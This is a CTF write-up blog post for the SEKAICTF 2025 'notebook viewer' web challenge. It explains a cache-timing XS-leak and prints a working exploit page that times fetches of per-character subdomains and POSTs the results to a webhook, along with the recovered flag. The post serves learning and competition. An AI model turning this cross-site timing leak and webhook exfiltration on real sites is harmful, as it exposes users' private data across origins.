Post

SEKAICTF 2025 - Writeups

cache probing + xsleaks

SEKAICTF 2025 - Writeups

This CTF is memorable, cause it’s the first time i first blooded a web chall in a big ctf. Here is the detailed write-up for this:

notebook viewer (346 points, 1st solve)

2

The source code is nothing too much, just classic admin-bot challenges, but we have a new thing: shadow DOM which i just read about it last week by masato: https://speakerdeck.com/masatokinugawa/shadow-dom-and-security-exploring-the-boundary-between-light-and-shadow

I guess some of you trying to break the shadow DOM, but i think its impossible cause if you notice on the adminbot.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
    await page1.goto(`${SITE}/?note=${encodeURIComponent(FLAG)}`, {
        waitUntil: "networkidle2"
    });

    let page2 = await browser.newPage();

    await page2.goto(url);

    await new Promise((res) => setTimeout(res, 15000));

    await browser.close();
    browser = null;
...

page1 and page2 means that the flag page and our page is in separate process, like a different tab, and there is no way to comeback the flag page (window.history.go(-1),… is unusable here). But an idea just came up to my head instantly after look at these line

1

The upper is when i pass /?note=hsw109, it happens cause in index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
    const uri = new URL(location.href);
    const note = uri.searchParams.get('note') || 'my secret notes';

    function srcFor(i, code) {
      return `https://nbv-${i}-${code}.chals.sekai.team/`;
    }

    for (let i = 0; i < note.length; i++) {
      const code = note.codePointAt(i);
      const frame = document.createElement('iframe');
      frame.scrolling = 'no';
      frame.src = srcFor(i, code);
      wrap.appendChild(frame);
    }
...

You can see that each character of our passed note, there are an URL for this. And also if you notice a key part of my solution is in bot.js

3

While doing this, i think that if the bot visited the flag page -> it also visited all the specific https://nbv-${i}-${code}.chals.sekai.team/ URL corresponding to the flag .So i guess that with this option, its kinda faster if we load the URL same as flag URL -> brute force all of them, also setup a timer to compare all of them -> the fastest is the flag character we want, then i ask ChatGPT about that idea (ofc):

5

Then i turn out that is the cache-timing probe attack (funny that i just read it in xsleaks and havent do it before). To be honest, while doing this i still assume that the bot option helps to “delete” the DNS resolution time for that URL (like the comment said :P). So eventually, me (and ChatGPT) create a small script to solve this, yep after some fixes it works well:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!doctype html>
<meta charset="utf-8">
<title>nbv first char timing</title>
<pre id="log">init…</pre>
<script>
const i = 0; 
const CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+,-./:;<=>?@[\]^_`{|}~'";
const codes = [...new Set([...CHARS].map(c => c.charCodeAt(0)))];

async function tFetch(u){
  const t0 = performance.now();
  try { await fetch(u, {mode: "no-cors", cache: "force-cache"}); } catch(e) {}
  return performance.now() - t0;
}

(async () => {
  const timings = [];
  for (const code of codes) {
    const url = `https://nbv-${i}-${code}.chals.sekai.team/`;
    const t1 = await tFetch(url);
    const t = t1;
    const guess = String.fromCharCode(code);
    timings.push({ guess, t });
  }
  timings.sort((a,b)=>a.t - b.t);
  const best = timings[0];
  const post = (obj) => {
    const blob = new Blob([JSON.stringify(obj)], {type:"application/json"});
    fetch("<webhook>", {method:"POST", mode:"no-cors", body: blob});
  };
  post({kind:"calibration", timings});
})();
</script>

Put it as response for your webhook (personally i used requestrepo), then add another webhook to capture the output, here is what i got when getting first index i=0 6

yeah the gap between the right and wrong one is ~1ms (incredibly but its still the right one “S”), what about the next one?

i=1

8

yeah its definitely our flag yayyyy!!! If you continue, you can get the full flag, but careful if sometime our right char we’re guessing is in the first index of the charset, it can cause all of our delta T have the same, then you need to move that charset backward to your charset. I dont have VPS and too lazy to setup API to requestrepo, so i do this by hand. Finally we got the flag:

SEKAI{Pr*<3$5-1SolAT10n_X5l34K5_fTW}

Thank you guys for reading!

This post is licensed under CC BY 4.0 by the author.

Trending Tags